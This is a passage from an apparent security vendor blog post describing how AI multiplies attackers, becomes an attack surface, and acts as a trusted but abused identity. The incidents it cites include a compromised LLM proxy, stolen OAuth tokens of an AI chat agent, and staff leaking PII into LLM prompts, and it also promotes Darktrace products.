The real risk is not AI usage. It is unknown autonomy: systems with credentials, data access, and action paths that can execute workflow steps without sufficient behavioral validation, traceability, or human oversight. Darktrace’s Model Context Protocol (MCP) risk analysis provides a useful framework for understanding this challenge. Over-privileged agents, content injection, and tool abuse become high-consequence risks when connected systems can dynamically retrieve data, execute actions, and communicate externally.  

Whether security teams like it or not, AI is already in the enterprise. It will help drive innovation, but it will also be abused, whether accidentally or maliciously. In each of the cases below, AI either scaled the attacker, built the tooling, or existed within the environment as something to exploit or misuse.

1. AI as an Attack Multiplier

In one campaign targeting Mexican government entities, a single operator used commercial AI platforms to generate exploits, automate reconnaissance, and process large volumes of data, compressing work that would traditionally have required an entire team into a single workflow [2].  

Darktrace is also observing this trend further down the stack. In one case, Darktrace identified AI-generated malware exploiting React2Shell, where an attacker used a Large Language Model (LLM) to produce working exploit code and deploy it at scale.  

[darktrace.com], [darktrace.com]

2. AI as an Attack Surface

Attempted AI exploitation is now appearing within customer environments. In one case involving an automation technology manufacturer, a compromised LLM proxy was seemingly used as a stepping stone to access additional AI services. When that attempt failed, the attacker pivoted to cryptomining.

What is clear is that the AI layer has already become an asset worth probing, exploiting, and pivoting through. It is also clear that defenders benefit from rapidly understanding how these activities connect. In this case, Cyber AI Analyst automatically pieced together the intrusion, while Darktrace’s Managed Threat Detection service alerted to the customer, enabling the activity to be contained before it could progress further.

Figure 3: Cyber AI Analyst's investigation into a compromised LLM proxy that was abused for cryptomining activity.

AI as a trusted but dangerous actor

This does not require a cinematic vision of “rogue AI.” The Salesloft incident provides a more grounded example, where AI and automation operate with legitimate access but served malicious intent. In that case, attackers abused compromised OAuth tokens associated with the Drift AI chat agent to export significant volumes of data from Salesforce environments.  

The activity resembled legitimate API usage and relied on trusted SaaS integrations rather than malware or other obvious signs of intrusion. That is precisely the challenge. Traditional security controls are good at detecting forced entry, but far less effective when a trusted application integration behaves in a way that is technically permitted yet operationally harmful.  

In these scenarios, the security challenge shifts from validating access to validating behavior.

This is what that looks like in practice: AI-linked identities executing legitimate actions that require behavioral validation rather than access validation.

Figure 4: Darktrace / SECURE AI highlights anomalous activity across AI identities, surfacing critical behavior that requires validation and containment.

Early observations from Darktrace / SECURE AI deployments reinforce this reality. Across Darktrace's observed fleet, AI service connections per deployment increased 13% during the first half of 2026, reaching over 16 million connections overall. The typical organisation now interacts with seven different AI providers, evidence that AI is no longer operating at the edges of the enterprise. It is increasingly woven into day-to-day business activity.

The most common risks are not compromised models or advanced AI attacks. Instead, they stem from employees and business functions exposing sensitive information through entirely legitimate-looking interactions. Darktrace has observed repeated submission of personally identifiable information (PII), tax information, identification documents, and medical data into LLM prompts, alongside widespread use of unsanctioned (shadow) AI services and growing AI activity from mobile devices.  

For defenders, the challenge is increasingly one of context: understanding when legitimate business use crosses into material risk, while preserving privacy and user trust.

Conclusion

Across all three shifts, the pattern is the same: behavior precedes understanding. Security teams are not losing because adversaries have become invisible. An increasingly outdated security model assumes that malicious activity will reveal itself cleanly and early. It no longer does.  

In 2026 and beyond, defenders win by understanding behavioral sequences, continuously validating trust, and acting before certainty becomes hindsight. That is security after signatures. That is security in the AI era.

Credit to: Daniel Levy, Threat Hunting Data Scientist

Edited by: Ryan Traill, Content Manager

References

[1] https://www.cyber.gov.au/business-government/secure-design/artificial-intelligence/careful-adoption-of-agentic-ai-services  

[2]https://www.latimes.com/business/story/2026-02-26/hacker-used-anthropics-claude-ai-to-steal-mexican-government-data

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI